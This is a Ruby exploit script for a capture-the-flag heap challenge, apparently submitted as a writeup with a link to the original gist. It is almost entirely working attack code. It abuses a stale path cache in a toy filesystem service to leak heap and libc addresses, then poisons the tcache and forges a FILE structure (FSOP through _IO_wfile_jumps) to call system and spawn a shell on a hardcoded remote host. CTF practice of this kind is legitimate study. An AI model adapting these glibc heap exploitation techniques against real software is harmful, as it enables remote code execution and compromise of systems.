Rating:

```
#coding:ascii-8bit
require "pwnlib" # https://github.com/Charo-IT/pwnlib

class PwnTube
def recv_until_prompt
recv_until("$ ")
end
end

class Exploit
attr_reader :tube, :host, :port
attr_reader :offset, :got, :libc_offset

def initialize(remote)
@remote = remote
if remote?
@host, @port = "34.146.195.242 31415".split
else
@host = "localhost"
@port = 11111
end
@port = @port&.to_i
@libc_offset = {
"main_arena" => 0x1f6c80,
"_IO_wfile_jumps" => 0x1f3240,
"system" => 0x4ebf0,
"stdout" => 0x1f7780,
}

@offset = {
}

@got = {
}
end

def remote?
@remote
end

def mkdir(name)
tube.recv_until_prompt
tube.sendline("mkdir #{name}")
end

def touch(name)
tube.recv_until_prompt
tube.sendline("touch #{name}")
end

def cd(name)
tube.recv_until_prompt
tube.sendline("cd #{name}")
end

def rm(name)
tube.recv_until_prompt
tube.sendline("rm #{name}")
end

def ls
tube.recv_until_prompt
tube.sendline("ls")
end

def cat(name)
tube.recv_until_prompt
tube.sendline("cat #{name}")
end

def mod(name, data)
tube.recv_until_prompt
tube.sendline("mod #{name}")
tube.recv_until("Write Here > ")
tube.sendline(data)
end

def run
PwnTube.open(host, port){|t|
@tube = t

puts "[*] leak heap base"
mkdir("dir1")
cd("dir1")
touch("file1")
mkdir("dir2")
cd("/dir1/dir2") # add /dir1/dir2 to cache
cd("..")
cd("..")
rm("dir1")
cd("/dir1/dir2") # cd to /dir1/dir2 via cache
cd("..") # we can cd to dir1...
cat("file1") # ... and read/write its files
heap_base = tube.recv_capture(/(.{5})\n/m)[0].ljust(16, "\0").unpack("Q")[0] << 12
puts "heap base = 0x%x" % heap_base

puts "[*] get tcache control"
cd("dir2")
touch("file2")
touch("file3")
rm("file3")
rm("file2")
cd("..")
mod("file2", [(heap_base + 0x30) ^ ((heap_base + 0x700) >> 12)].pack("Q"))
cd("..")
touch("file4")
touch("tcache")

puts "[*] leak libc base"
mkdir("dir3")
cd("dir3")
mkdir("dir4")
cd("/dir3/dir4")
cd("..")
touch("file5") # victim
cd("..")
touch("file6")
touch("file7")
touch("file8")
touch("file9")
payload = ""
payload << [0, 1, 0, 0].pack("S*")
payload << "\0" * 0xe0
payload << [heap_base + 0xfe0].pack("Q")
mod("tcache", payload)
touch("victimsize")
mod("victimsize", [0, 0x4c1].pack("Q*"))
rm("dir3")
cd("/dir3/dir4")
cd("..")
cat("file5")
libc_base = tube.recv_capture(/(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x60
puts "libc base = 0x%x" % libc_base

puts "[*] prepare for fsop"
cd("..")
payload = "".ljust(0xe8, "\0").tap{|a|
a[0, 8] = " sh".ljust(8, "\0")
a[0x28, 8] = [1].pack("Q")
a[0x68, 8] = [libc_base + libc_offset["system"]].pack("Q")
a[0xa0, 8] = [heap_base + 0x1120].pack("Q")
a[0xd8, 8] = [libc_base + libc_offset["_IO_wfile_jumps"]].pack("Q")
a[0xe0, 8] = [heap_base + 0x1120].pack("Q")
}
mod("file6", payload)

puts "[*] overwrite stderr->_chain"
payload = ""
payload << [0, 1, 0, 0].pack("S*")
payload << "\0" * 0xe0
payload << [libc_base + libc_offset["stdout"] + 0x60].pack("Q")
mod("tcache", payload)
touch("fsop")
mod("fsop", [0, heap_base + 0x1120].pack("Q*"))

puts "[*] launch shell"
tube.recv_until_prompt
tube.sendline("exit")

tube.interactive
}
end
end

Exploit.new(ARGV[0] == "r").run
```

Original writeup (https://gist.github.com/Charo-IT/633bca51daac2e9c31ee25f3ab614e5f).